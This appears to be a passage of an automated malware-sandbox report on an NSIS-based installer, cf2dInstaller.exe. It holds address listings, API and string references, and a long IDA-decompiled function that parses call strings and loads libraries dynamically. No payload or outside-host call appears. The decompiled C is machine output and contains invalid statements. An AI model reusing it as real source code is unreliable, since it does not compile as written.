0x00402cc5
0x00402cca
0x00402ccc
0x00402cce
0x00402cce
0x00402cd2
0x00402cd7
0x00402cd9
0x00402e03
0x00402dfa
0x00000000
0x00402dfa
0x00402cdf
0x00402ce6
0x00402d62
0x00402d66
0x00402d6a
0x00402d6f
0x00000000
0x00402d66
0x00402cef
0x00402cf4
0x00402cf7
0x00402cfc
0x00000000
0x00000000
0x00402cfe
0x00402d05
0x00000000
0x00000000
0x00402d07
0x00402d0e
0x00000000
0x00000000
0x00402d10
0x00402d17
0x00000000
0x00000000
0x00402d19
0x00402d20
0x00000000
0x00000000
0x00402d22
0x00402d28
0x00402d31
0x00402d37
0x00402d3a
0x00402d3c
0x00402d42
0x00000000
0x00000000
0x00402d48
0x00402d4c
0x00402d54
0x00402d54
0x00402d57
0x00402d57
0x00402d5a
0x00402d5c
0x00402d5e
0x00402d5e
0x00000000
0x00402d5c
0x00402d4e
0x00402d52
0x00000000
0x00000000
0x00000000
0x00402d70
0x00402d70
0x00402d76
0x00402d82
0x00402d82
0x00402d85
0x00402d8b
0x00402d8d
0x00402d8d
0x00402d95
0x00402d95
0x00000000
0x00402d95

APIs

GetTickCount.KERNEL32 ref: 00402C33
GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\AppData\Local\temp\cf2dInstaller.exe,00000400), ref: 00402C4F

Part of subcall function 004056E3: GetFileAttributesA.KERNEL32(00000003,00402C62,C:\Users\user\AppData\Local\temp\cf2dInstaller.exe,80000000,00000003), ref: 004056E7
Part of subcall function 004056E3: CreateFileA.KERNEL32(?,?,00000001,00000000,?,00000001,00000000), ref: 00405709

GetFileSize.KERNEL32(00000000,00000000,00436000,00000000,C:\Users\user\AppData\Local\temp,C:\Users\user\AppData\Local\temp,C:\Users\user\AppData\Local\temp\cf2dInstaller.exe,C:\Users\user\AppData\Local\temp\cf2dInstaller.exe,80000000,00000003), ref: 00402C9B

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00402C22
Error launching installer, xrefs: 00402C72
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author to obtain a new copy.More information at:http://nsis.sf.net/NSIS_Error, xrefs: 00402DFA
C:\Users\user\AppData\Local\temp, xrefs: 00402C7D, 00402C82, 00402C88
Inst, xrefs: 00402D07
"C:\Users\user\AppData\Local\temp\cf2dInstaller.exe" /KEYWORD=cf2d "/PATHFILES=C:\Users\user\AppData\Local\temp\", xrefs: 00402C2C
soft, xrefs: 00402D10
C:\Users\user\AppData\Local\temp\cf2dInstaller.exe, xrefs: 00402C39, 00402C48, 00402C5C, 00402C7C
Null, xrefs: 00402D19

Memory Dump Source

Source File: 00000003.00000002.503983388.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.503968315.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504017774.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504030164.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504054861.0000000000411000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504084706.000000000041F000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504117628.000000000042C000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504132874.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504147544.0000000000434000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504168801.000000000043C000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504187164.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504201398.0000000000444000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504236909.0000000000447000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504249272.000000000045A000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504272578.0000000000534000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504288296.0000000000538000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_cf2dInstaller.jbxd

Similarity

API ID: File$AttributesCountCreateModuleNameSizeTick
String ID: "C:\Users\user\AppData\Local\temp\cf2dInstaller.exe" /KEYWORD=cf2d "/PATHFILES=C:\Users\user\AppData\Local\temp\"$C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Local\temp$C:\Users\user\AppData\Local\temp\cf2dInstaller.exe$Error launching installer$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author to obtain a new copy.More information at:http://nsis.sf.net/NSIS_Error$Null$soft
API String ID: 4283519449-2069359032
Opcode ID: 1aa0d1efbed9786f842be751fafdabbb11e6860e74167932e572fcfd279c9ed7
Instruction ID: 5cdc40c0d59b83eec34e45f83230a383a342561faf5f4e8ee161a7b3089b1b43
Opcode Fuzzy Hash: 1aa0d1efbed9786f842be751fafdabbb11e6860e74167932e572fcfd279c9ed7
Instruction Fuzzy Hash: 40512371A00214ABDB20DF61DE89B9E7BA8EF04329F10413BF905B62D1D7BC9D418B9D

Uniqueness

Uniqueness Score: -1.00%

Function 10001D3B, Relevance: 21.5, APIs: 14, Instructions: 499
stringlibraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 95%

			E10001D3B() {
				void* _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				CHAR* _v24;
				CHAR* _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				CHAR* _v44;
				intOrPtr _v48;
				void* _v52;
				CHAR* _t180;
				void* _t182;
				signed int _t183;
				void* _t186;
				void* _t188;
				CHAR* _t190;
				void* _t198;
				struct HINSTANCE__* _t199;
				_Unknown_base(*)()* _t200;
				_Unknown_base(*)()* _t202;
				struct HINSTANCE__* _t203;
				void* _t205;
				char* _t206;
				_Unknown_base(*)()* _t207;
				void* _t218;
				signed char _t219;
				void* _t224;
				struct HINSTANCE__* _t226;
				void* _t227;
				void* _t228;
				void* _t232;
				void* _t235;
				void* _t237;
				void* _t244;
				void* _t245;
				void* _t248;
				struct HINSTANCE__* _t253;
				CHAR* _t254;
				signed char _t257;
				void _t258;
				void* _t259;
				void* _t266;
				void* _t267;
				void* _t271;
				void* _t272;
				void* _t276;
				void* _t277;
				void* _t278;
				void* _t279;
				signed char _t282;
				signed int _t283;
				CHAR* _t284;
				CHAR* _t286;
				struct HINSTANCE__* _t288;
				void* _t290;
				void* _t291;

				_t253 = 0;
				_v32 = 0;
				_v36 = 0;
				_v16 = 0;
				_v12 = 0;
				_v40 = 0;
				_t291 = 0;
				_t180 = E10001541();
				_v24 = _t180;
				_v28 = _t180;
				_v44 = E10001541();
				_t182 = E10001561();
				_v52 = _t182;
				_v8 = _t182;
				while(1) {
					_t183 = _v32;
					_t283 = 3;
					_v48 = _t183;
					if(_t183 != _t253 && _t291 == _t253) {
						break;
					}
					_t282 =  *_v8;
					_t257 = _t282;
					_t186 = _t257 - _t253;
					if(_t186 == 0) {
						_t29 =  &_v32;
						 *_t29 = _v32 | 0xffffffff;
						__eflags =  *_t29;
						L13:
						_t188 = _v48 - _t253;
						if(_t188 == 0) {
							 *_v28 =  *_v28 & 0x00000000;
							__eflags = _t291 - _t253;
							if(_t291 == _t253) {
								_t224 = GlobalAlloc(0x40, 0x14a4); // executed
								_t291 = _t224;
								 *(_t291 + 0x810) = _t253;
								 *(_t291 + 0x814) = _t253;
							}
							_t258 = _v36;
							_t39 = _t291 + 8; // 0x8
							_t190 = _t39;
							_t40 = _t291 + 0x408; // 0x408
							_t284 = _t40;
							 *_t291 = _t258;
							 *_t190 =  *_t190 & 0x00000000;
							 *(_t291 + 0x808) = _t253;
							 *_t284 =  *_t284 & 0x00000000;
							_t259 = _t258 - _t253;
							__eflags = _t259;
							 *(_t291 + 0x80c) = _t253;
							 *(_t291 + 4) = _t253;
							if(_t259 == 0) {
								__eflags = _v28 - _v24;
								if(_v28 == _v24) {
									goto L56;
								}
								_t290 = 0;
								GlobalFree(_t291);
								_t291 = E10001641(_v24);
								__eflags = _t291 - _t253;
								if(_t291 == _t253) {
									goto L56;
								} else {
									goto L28;
								}
								while(1) {
									L28:
									_t218 =  *(_t291 + 0x14a0);
									__eflags = _t218 - _t253;
									if(_t218 == _t253) {
										break;
									}
									_t290 = _t291;
									_t291 = _t218;
									__eflags = _t291 - _t253;
									if(_t291 != _t253) {
										continue;
									}
									break;
								}
								__eflags = _t290 - _t253;
								if(_t290 != _t253) {
									 *(_t290 + 0x14a0) = _t253;
								}
								_t219 =  *(_t291 + 0x810);
								__eflags = _t219 & 0x00000008;
								if((_t219 & 0x00000008) == 0) {
									 *(_t291 + 0x810) = _t219 | 0x00000002;
								} else {
									_t291 = E1000187C(_t291);
									 *(_t291 + 0x810) =  *(_t291 + 0x810) & 0xfffffff5;
								}
								goto L56;
							} else {
								_t266 = _t259 - 1;
								__eflags = _t266;
								if(_t266 == 0) {
									L24:
									lstrcpyA(_t190, _v44);
									L25:
									lstrcpyA(_t284, _v24);
									L56:
									_v28 = _v24;
									L57:
									_v8 = _v8 + 1;
									if(_v32 != 0xffffffff) {
										continue;
									}
									break;
								}
								_t267 = _t266 - 1;
								__eflags = _t267;
								if(_t267 == 0) {
									goto L25;
								}
								__eflags = _t267 != 1;
								if(_t267 != 1) {
									goto L56;
								}
								goto L24;
							}
						}
						if(_t188 == 1) {
							_t226 = _v16;
							if(_v40 == _t253) {
								_t226 = _t226 - 1;
							}
							 *(_t291 + 0x814) = _t226;
						}
						goto L56;
					}
					_t227 = _t186 - 0x23;
					if(_t227 == 0) {
						_v32 = _t253;
						_v36 = _t253;
						goto L13;
					}
					_t228 = _t227 - 5;
					if(_t228 == 0) {
						__eflags = _v36 - _t283;
						_v32 = 1;
						_v12 = _t253;
						_v20 = _t253;
						_v16 = (0 | _v36 == _t283) + 1;
						_v40 = _t253;
						goto L13;
					}
					_t232 = _t228 - 1;
					if(_t232 == 0) {
						_v32 = 2;
						_v12 = _t253;
						_v20 = _t253;
						goto L13;
					}
					if(_t232 != 0x16) {
						_t235 = _v32 - _t253;
						__eflags = _t235;
						if(_t235 == 0) {
							__eflags = _t282 - 0x2a;
							if(_t282 == 0x2a) {
								_v36 = 2;
								L55:
								_t253 = 0;
								__eflags = 0;
								goto L56;
							}
							__eflags = _t282 - 0x2d;
							if(_t282 == 0x2d) {
								L124:
								_t237 = _v8 + 1;
								__eflags =  *_t237 - 0x3e;
								if( *_t237 != 0x3e) {
									L126:
									_t237 = _v8 + 1;
									__eflags =  *_t237 - 0x3a;
									if( *_t237 != 0x3a) {
										L133:
										_v28 =  &(_v28[1]);
										 *_v28 = _t282;
										goto L57;
									}
									__eflags = _t282 - 0x2d;
									if(_t282 == 0x2d) {
										goto L133;
									}
									_v36 = 1;
									L129:
									_v8 = _t237;
									__eflags = _v28 - _v24;
									if(_v28 <= _v24) {
										 *_v44 =  *_v44 & 0x00000000;
									} else {
										 *_v28 =  *_v28 & 0x00000000;
										lstrcpyA(_v44, _v24);
									}
									goto L55;
								}
								_v36 = _t283;
								goto L129;
							}
							__eflags = _t282 - 0x3a;
							if(_t282 != 0x3a) {
								goto L133;
							}
							__eflags = _t282 - 0x2d;
							if(_t282 != 0x2d) {
								goto L126;
							}
							goto L124;
						}
						_t244 = _t235 - 1;
						__eflags = _t244;
						if(_t244 == 0) {
							L68:
							_t245 = _t257 - 0x22;
							__eflags = _t245 - 0x55;
							if(_t245 > 0x55) {
								goto L55;
							}
							switch( *((intOrPtr*)(( *(_t245 + 0x100023a0) & 0x000000ff) * 4 +  &M10002344))) {
								case 0:
									__eax = _v24;
									__edi = _v8;
									while(1) {
										__edi = __edi + 1;
										_v8 = __edi;
										__cl =  *__edi;
										__eflags = __cl - __dl;
										if(__cl != __dl) {
											goto L108;
										}
										L107:
										__eflags =  *(__edi + 1) - __dl;
										if( *(__edi + 1) != __dl) {
											L112:
											 *__eax =  *__eax & 0x00000000;
											__ebx = E10001550(_v24);
											goto L84;
										}
										L108:
										__eflags = __cl;
										if(__cl == 0) {
											goto L112;
										}
										__eflags = __cl - __dl;
										if(__cl == __dl) {
											__edi = __edi + 1;
											__eflags = __edi;
										}
										__cl =  *__edi;
										 *__eax =  *__edi;
										__eax = __eax + 1;
										__edi = __edi + 1;
										_v8 = __edi;
										__cl =  *__edi;
										__eflags = __cl - __dl;
										if(__cl != __dl) {
											goto L108;
										}
										goto L107;
									}
								case 1:
									_v12 = 1;
									goto L55;
								case 2:
									_v12 = _v12 | 0xffffffff;
									goto L55;
								case 3:
									_v12 = _v12 & 0x00000000;
									_v20 = _v20 & 0x00000000;
									_v16 = _v16 + 1;
									goto L73;
								case 4:
									__eflags = _v20;
									if(_v20 != 0) {
										goto L55;
									}
									_v8 = _v8 - 1;
									__ebx = E10001541();
									 &_v8 = E10001CD9( &_v8);
									__eax = E1000176C(__edx, __eax, __edx, __ebx);
									goto L84;
								case 5:
									L92:
									_v20 = _v20 + 1;
									goto L55;
								case 6:
									_push(0x19);
									goto L119;
								case 7:
									_push(0x15);
									goto L119;
								case 8:
									_push(0x16);
									goto L119;
								case 9:
									_push(0x18);
									goto L119;
								case 0xa:
									_push(5);
									goto L99;
								case 0xb:
									__eax = 0;
									__eax = 1;
									goto L78;
								case 0xc:
									_push(6);
									goto L99;
								case 0xd:
									_push(2);
									goto L99;
								case 0xe:
									_push(3);
									goto L99;
								case 0xf:
									_push(0x17);
									L119:
									_pop(__ebx);
									goto L85;
								case 0x10:
									__eax =  &_v8;
									__eax = E10001CD9( &_v8);
									__ebx = __eax;
									__ebx = __eax + 1;
									__eflags = __ebx - 0xb;
									if(__ebx < 0xb) {
										__ebx = __ebx + 0xa;
									}
									goto L84;
								case 0x11:
									__ebx = 0xffffffff;
									goto L85;
								case 0x12:
									__eax = 0;
									__eflags = 0;
									goto L78;
								case 0x13:
									_push(4);
									L99:
									_pop(__eax);
									L78:
									__edx = _v16;
									__ecx = 0;
									__edx = _v16 << 5;
									__ecx = 1;
									__eflags = _v12 - 0xffffffff;
									__edi = (_v16 << 5) + __esi;
									_v40 = 1;
									 *(__edi + 0x818) = __eax;
									if(_v12 == 0xffffffff) {
										L80:
										__eax = __ecx;
										L81:
										__eflags = _v12 - __ecx;
										 *(__edi + 0x828) = __eax;
										if(_v12 == __ecx) {
											__eax =  &_v8;
											__eax = E10001CD9( &_v8);
											__eax = __eax + 1;
											__eflags = __eax;
											_v12 = __eax;
										}
										__eax = _v12;
										 *((intOrPtr*)(__edi + 0x81c)) = _v12;
										_t126 = _v16 + 0x41; // 0x41
										_t126 = _t126 << 5;
										__eax = 0;
										__eflags = 0;
										 *((intOrPtr*)((_t126 << 5) + __esi)) = 0;
										 *((intOrPtr*)(__edi + 0x82c)) = 0;
										 *((intOrPtr*)(__edi + 0x830)) = 0;
										goto L84;
									}
									__eax =  *(0x10003058 + __eax * 4);
									__eflags = __eax;
									if(__eax > 0) {
										goto L81;
									}
									goto L80;
								case 0x14:
									_t247 =  *(_t291 + 0x814);
									__eflags = _t247 - _v16;
									if(_t247 > _v16) {
										_v16 = _t247;
									}
									_v12 = _v12 & 0x00000000;
									_v20 = _v20 & 0x00000000;
									_v36 - 3 = _t247 - (_v36 == 3);
									if(_t247 != _v36 == 3) {
										L73:
										_v40 = 1;
									}
									goto L55;
								case 0x15:
									__eax =  &_v8;
									__eax = E10001CD9( &_v8);
									__ebx = __eax;
									__ebx = __eax + 1;
									L84:
									__eflags = __ebx;
									if(__ebx == 0) {
										goto L55;
									}
									L85:
									__eflags = _v20;
									_v40 = 1;
									if(_v20 != 0) {
										L90:
										__eflags = _v20 - 1;
										if(_v20 == 1) {
											__eax = _v16;
											__eax = _v16 << 5;
											__eflags = __eax;
											 *(__eax + __esi + 0x830) = __ebx;
										}
										goto L92;
									}
									_v16 = _v16 << 5;
									_t134 = __esi + 0x82c; // 0x82c
									__edi = (_v16 << 5) + _t134;
									__eax =  *__edi;
									__eflags = __eax - 0xffffffff;
									if(__eax <= 0xffffffff) {
										L88:
										__eax = GlobalFree(__eax);
										L89:
										 *__edi = __ebx;
										goto L90;
									}
									__eflags = __eax - 0x19;
									if(__eax <= 0x19) {
										goto L89;
									}
									goto L88;
								case 0x16:
									goto L55;
							}
						}
						_t248 = _t244 - 1;
						__eflags = _t248;
						if(_t248 == 0) {
							_v16 = _t253;
							goto L68;
						}
						__eflags = _t248 != 1;
						if(_t248 != 1) {
							goto L133;
						}
						_t271 = _t257 - 0x21;
						__eflags = _t271;
						if(_t271 == 0) {
							_v12 =  ~_v12;
							goto L55;
						}
						_t272 = _t271 - 0x42;
						__eflags = _t272;
						if(_t272 == 0) {
							L51:
							__eflags = _v12 - 1;
							if(_v12 != 1) {
								_t84 = _t291 + 0x810;
								 *_t84 =  *(_t291 + 0x810) &  !0x00000001;
								__eflags =  *_t84;
							} else {
								 *(_t291 + 0x810) =  *(_t291 + 0x810) | 1;
							}
							_v12 = 1;
							goto L55;
						}
						_t276 = _t272;
						__eflags = _t276;
						if(_t276 == 0) {
							_push(0x20);
							L50:
							_pop(1);
							goto L51;
						}
						_t277 = _t276 - 9;
						__eflags = _t277;
						if(_t277 == 0) {
							_push(8);
							goto L50;
						}
						_push(4);
						_pop(1);
						_t278 = _t277 - 1;
						__eflags = _t278;
						if(_t278 == 0) {
							goto L51;
						}
						_t279 = _t278 - 1;
						__eflags = _t279;
						if(_t279 == 0) {
							_push(0x10);
							goto L50;
						}
						__eflags = _t279 != 0;
						if(_t279 != 0) {
							goto L55;
						}
						_push(0x40);
						goto L50;
					} else {
						_v32 = _t283;
						_v12 = 1;
						goto L13;
					}
				}
				GlobalFree(_v52);
				GlobalFree(_v24);
				GlobalFree(_v44);
				if(_t291 == _t253 ||  *(_t291 + 0x80c) != _t253) {
					L145:
					return _t291;
				} else {
					_t198 =  *_t291 - 1;
					if(_t198 == 0) {
						_t169 = _t291 + 8; // 0x8
						_t286 = _t169;
						__eflags =  *_t286;
						if( *_t286 != 0) {
							_t199 = GetModuleHandleA(_t286);
							__eflags = _t199 - _t253;
							 *(_t291 + 0x808) = _t199;
							if(_t199 != _t253) {
								L141:
								_t173 = _t291 + 0x408; // 0x408
								_t254 = _t173;
								_t200 = GetProcAddress( *(_t291 + 0x808), _t254);
								__eflags = _t200;
								 *(_t291 + 0x80c) = _t200;
								if(_t200 != 0) {
									goto L145;
								}
								lstrcatA(_t254, 0x10004024);
								_t202 = GetProcAddress( *(_t291 + 0x808), _t254);
								__eflags = _t202;
								L143:
								 *(_t291 + 0x80c) = _t202;
								if(__eflags != 0) {
									goto L145;
								}
								L144:
								_t178 = _t291 + 4;
								 *_t178 =  *(_t291 + 4) | 0xffffffff;
								__eflags =  *_t178;
								goto L145;
							}
							_t203 = LoadLibraryA(_t286);
							__eflags = _t203 - _t253;
							 *(_t291 + 0x808) = _t203;
							if(_t203 == _t253) {
								goto L144;
							}
							goto L141;
						}
						_t170 = _t291 + 0x408; // 0x408
						_t202 = E10001641(_t170);
						__eflags = _t202 - _t253;
						goto L143;
					}
					_t205 = _t198 - 1;
					if(_t205 == 0) {
						_t167 = _t291 + 0x408; // 0x408
						_t206 = _t167;
						__eflags =  *_t206;
						if( *_t206 == 0) {
							goto L145;
						}
						_t207 = E10001641(_t206);
						L136:
						 *(_t291 + 0x80c) = _t207;
						goto L145;
					}
					if(_t205 != 1) {
						goto L145;
					}
					_t72 = _t291 + 8; // 0x8
					_t255 = _t72;
					_t288 = E10001641(_t72);
					 *(_t291 + 0x808) = _t288;
					if(_t288 == 0) {
						goto L144;
					}
					 *(_t291 + 0x850) =  *(_t291 + 0x850) & 0x00000000;
					 *((intOrPtr*)(_t291 + 0x84c)) = E10001550(_t255);
					 *(_t291 + 0x83c) =  *(_t291 + 0x83c) & 0x00000000;
					 *((intOrPtr*)(_t291 + 0x848)) = 1;
					 *((intOrPtr*)(_t291 + 0x838)) = 1;
					_t81 = _t291 + 0x408; // 0x408
					_t207 =  *(_t288->i + E10001641(_t81) * 4);
					goto L136;
				}
			}

0x10001d43
0x10001d46
0x10001d49
0x10001d4c
0x10001d4f
0x10001d52
0x10001d55
0x10001d57
0x10001d5c
0x10001d5f
0x10001d67
0x10001d6a
0x10001d6f
0x10001d72
0x10001d75
0x10001d75
0x10001d7c
0x10001d7d
0x10001d80
0x00000000
0x00000000
0x10001d8d
0x10001d8f
0x10001d94
0x10001d96
0x10001def
0x10001def
0x10001def
0x10001df3
0x10001df6
0x10001df8
0x10001e1a
0x10001e1d
0x10001e1f
0x10001e28
0x10001e2e
0x10001e30
0x10001e36
0x10001e36
0x10001e3c
0x10001e3f
0x10001e3f
0x10001e42
0x10001e42
0x10001e48
0x10001e4a
0x10001e4d
0x10001e53
0x10001e56
0x10001e56
0x10001e58
0x10001e5e
0x10001e61
0x10001e8c
0x10001e8f
0x00000000
0x00000000
0x10001e96
0x10001e98
0x10001ea6
0x10001ea9
0x10001eab
0x00000000
0x00000000
0x00000000
0x00000000
0x10001eb1
0x10001eb1
0x10001eb1
0x10001eb7
0x10001eb9
0x00000000
0x00000000
0x10001ebb
0x10001ebd
0x10001ebf
0x10001ec1
0x00000000
0x00000000
0x00000000
0x10001ec1
0x10001ec3
0x10001ec5
0x10001ec7
0x10001ec7
0x10001ecd
0x10001ed3
0x10001ed5
0x10001eeb
0x10001ed7
0x10001edd
0x10001ee0
0x10001ee0
0x00000000
0x10001e63
0x10001e63
0x10001e63
0x10001e64
0x10001e70
0x10001e74
0x10001e7a
0x10001e7e
0x10001f64
0x10001f67
0x10001f6a
0x10001f6a
0x10001f71
0x00000000
0x00000000
0x00000000
0x10001f71
0x10001e66
0x10001e66
0x10001e67
0x00000000
0x00000000
0x10001e69
0x10001e6a
0x00000000
0x00000000
0x00000000
0x10001e6a
0x10001e61
0x10001dfb
0x10001e04
0x10001e07
0x10001e14
0x10001e14
0x10001e09
0x10001e09
0x00000000
0x10001dfb
0x10001d98
0x10001d9b
0x10001de7
0x10001dea
0x00000000
0x10001dea
0x10001d9d
0x10001da0
0x10001dcb
0x10001dce
0x10001dd5
0x10001ddc
0x10001ddf
0x10001de2
0x00000000
0x10001de2
0x10001da2
0x10001da3
0x10001dba
0x10001dc1
0x10001dc4
0x00000000
0x10001dc4
0x10001da8
0x10001ef6
0x10001ef6
0x10001ef8
0x10002225
0x10002228
0x10002289
0x10001f62
0x10001f62
0x10001f62
0x00000000
0x10001f62
0x1000222a
0x1000222d
0x10002239
0x1000223c
0x1000223d
0x10002240
0x10002247
0x1000224a
0x1000224b
0x1000224e
0x10002295
0x10002298
0x1000229b
0x00000000
0x1000229b
0x10002250
0x10002253
0x00000000
0x00000000
0x10002255
0x1000225c
0x1000225c
0x10002262
0x10002265
0x10002281
0x10002267
0x10002270
0x10002273
0x10002273
0x00000000
0x10002265
0x10002242
0x00000000
0x10002242
0x1000222f
0x10002232
0x00000000
0x00000000
0x10002234
0x10002237
0x00000000
0x00000000
0x00000000
0x10002237
0x10001efe
0x10001efe
0x10001eff
0x10002026
0x10002026
0x1000202b
0x1000202e
0x00000000
0x00000000
0x1000203b
0x00000000
0x100021cd
0x100021d0
0x100021d3
0x100021d3
0x100021d4
0x100021d7
0x100021d9
0x100021db
0x00000000
0x00000000
0x100021dd
0x100021dd
0x100021e0
0x100021f2
0x100021f5
0x100021fe
0x00000000
0x100021fe
0x100021e2
0x100021e2
0x100021e4
0x00000000
0x00000000
0x100021e6
0x100021e8
0x100021ea
0x100021ea
0x100021ea
0x100021eb
0x100021ed
0x100021ef
0x100021d3
0x100021d4
0x100021d7
0x100021d9
0x100021db
0x00000000
0x00000000
0x00000000
0x100021db
0x00000000
0x10002082
0x00000000
0x00000000
0x1000208e
0x00000000
0x00000000
0x10002075
0x10002079
0x1000207d
0x00000000
0x00000000
0x1000219f
0x100021a3
0x00000000
0x00000000
0x100021a9
0x100021b1
0x100021b8
0x100021c0
0x00000000
0x00000000
0x10002147
0x10002147
0x00000000
0x00000000
0x1000221d
0x00000000
0x00000000
0x1000220d
0x00000000
0x00000000
0x10002211
0x00000000
0x00000000
0x10002219
0x00000000
0x00000000
0x1000215f
0x00000000
0x00000000
0x1000214f
0x10002151
0x00000000
0x00000000
0x10002167
0x00000000
0x00000000
0x10002157
0x00000000
0x00000000
0x1000215b
0x00000000
0x00000000
0x10002215
0x1000221f
0x1000221f
0x00000000
0x00000000
0x1000216f
0x10002173
0x10002178
0x1000217b
0x1000217c
0x1000217f
0x10002185
0x10002185
0x00000000
0x00000000
0x10002205
0x00000000
0x00000000
0x10002097
0x10002097
0x00000000
0x00000000
0x10002163
0x10002169
0x10002169
0x10002099
0x10002099
0x1000209c
0x1000209e
0x100020a1
0x100020a2
0x100020a6
0x100020a9
0x100020ac
0x100020b2
0x100020bf
0x100020bf
0x100020c1
0x100020c1
0x100020c4
0x100020ca
0x100020cc
0x100020d0
0x100020d5
0x100020d5
0x100020d7
0x100020d7
0x100020da
0x100020dd
0x100020e6
0x100020e9
0x100020ec
0x100020ec
0x100020ee
0x100020f1
0x100020f7
0x00000000
0x100020f7
0x100020b4
0x100020bb
0x100020bd
0x00000000
0x00000000
0x00000000
0x00000000
0x10002042
0x10002048
0x1000204b
0x1000204d
0x1000204d
0x10002050
0x10002054
0x10002061
0x10002063
0x10002069
0x10002069
0x10002069
0x00000000
0x00000000
0x1000218d
0x10002191
0x10002196
0x10002199
0x100020fd
0x100020fd
0x100020ff
0x00000000
0x00000000
0x10002105
0x10002105
0x10002109
0x10002110
0x10002134
0x10002134
0x10002138
0x1000213a
0x1000213d
0x1000213d
0x10002140
0x10002140
0x00000000
0x10002138
0x10002115
0x10002118
0x10002118
0x1000211f
0x10002121
0x10002124
0x1000212b
0x1000212c
0x10002132
0x10002132
0x00000000
0x10002132
0x10002126
0x10002129
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x1000203b
0x10001f05
0x10001f05
0x10001f06
0x10002023
0x00000000
0x10002023
0x10001f0c
0x10001f0d
0x00000000
0x00000000
0x10001f13
0x10001f13
0x10001f16
0x10001f5f
0x00000000
0x10001f5f
0x10001f18
0x10001f18
0x10001f1b
0x10001f43
0x10001f46
0x10001f49
0x10002015
0x10002015
0x10002015
0x10001f4f
0x10001f4f
0x10001f4f
0x1000201b
0x00000000
0x1000201b
0x10001f1e
0x10001f1e
0x10001f1f
0x10001f40
0x10001f42
0x10001f42
0x00000000
0x10001f42
0x10001f21
0x10001f21
0x10001f24
0x10001f3c
0x00000000
0x10001f3c
0x10001f26
0x10001f28
0x10001f29
0x10001f29
0x10001f2b
0x00000000
0x00000000
0x10001f2d
0x10001f2d
0x10001f2e
0x10001f38
0x00000000
0x10001f38
0x10001f31
0x10001f32
0x00000000
0x00000000
0x10001f34
0x00000000
0x10001dae
0x10001dae
0x10001db1
0x00000000
0x10001db1
0x10001da8
0x10001f80
0x10001f85
0x10001f8a
0x10001f8e
0x1000233d
0x10002343
0x10001fa0
0x10001fa2
0x10001fa3
0x100022c0
0x100022c0
0x100022c3
0x100022c6
0x100022da
0x100022e0
0x100022e2
0x100022e8
0x100022fb
0x10002301
0x10002301
0x1000230e
0x10002310
0x10002312
0x10002318
0x00000000
0x00000000
0x10002320
0x1000232d
0x1000232f
0x10002331
0x10002331
0x10002337
0x00000000
0x00000000
0x10002339
0x10002339
0x10002339
0x10002339
0x00000000
0x10002339
0x100022eb
0x100022f1
0x100022f3
0x100022f9
0x00000000
0x00000000
0x00000000
0x100022f9
0x100022c8
0x100022cf
0x100022d5
0x00000000
0x100022d5
0x10001fa9
0x10001faa
0x100022a2
0x100022a2
0x100022a8
0x100022ab
0x00000000
0x00000000
0x100022b2
0x100022b7
0x100022b8
0x00000000
0x100022b8
0x10001fb1
0x00000000
0x00000000
0x10001fb7
0x10001fb7
0x10001fc0
0x10001fc5
0x10001fcb
0x00000000
0x00000000
0x10001fd1
0x10001fde
0x10001fe4
0x10001fee
0x10001ff4
0x10001ffc
0x1000200c
0x00000000
0x1000200c

APIs

Part of subcall function 10001541: GlobalAlloc.KERNEL32(00000040,10001577,?,?,10001804,?,10001017), ref: 10001549

Part of subcall function 10001561: lstrcpyA.KERNEL32(00000000,?,?,?,10001804,?,10001017), ref: 1000157E
Part of subcall function 10001561: GlobalFree.KERNEL32 ref: 1000158F

GlobalAlloc.KERNEL32(00000040,000014A4), ref: 10001E28
lstrcpyA.KERNEL32(00000008,?), ref: 10001E74
lstrcpyA.KERNEL32(00000408,?), ref: 10001E7E
GlobalFree.KERNEL32 ref: 10001E98
GlobalFree.KERNEL32 ref: 10001F80
GlobalFree.KERNEL32 ref: 10001F85
GlobalFree.KERNEL32 ref: 10001F8A
GlobalFree.KERNEL32 ref: 1000212C
lstrcpyA.KERNEL32(?,?), ref: 10002273
GetModuleHandleA.KERNEL32(00000008), ref: 100022DA
LoadLibraryA.KERNEL32(00000008), ref: 100022EB
GetProcAddress.KERNEL32(?,00000408), ref: 1000230E
lstrcatA.KERNEL32(00000408,10004024), ref: 10002320
GetProcAddress.KERNEL32(?,00000408), ref: 1000232D

Memory Dump Source

Source File: 00000003.00000002.506890676.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.506882203.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.506902544.0000000010003000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.506915040.0000000010005000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_cf2dInstaller.jbxd

Similarity

API ID: Global$Free$lstrcpy$AddressAllocProc$HandleLibraryLoadModulelstrcat
String ID:
API String ID: 2432367840-0
Opcode ID: ee092e71ca505709d651e0729bf6a215d1fa5f7789b41da9f2bb1e621745af8d
